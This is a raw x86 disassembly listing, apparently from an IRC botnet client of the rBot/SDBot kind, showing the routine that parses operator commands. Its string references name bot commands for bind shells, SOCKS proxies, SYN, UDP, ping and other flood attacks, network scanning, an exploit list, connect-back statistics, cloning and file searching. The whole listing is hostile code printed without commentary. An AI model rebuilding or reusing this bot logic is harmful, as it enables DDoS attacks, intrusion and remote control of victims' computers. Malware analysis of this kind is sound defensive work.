		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
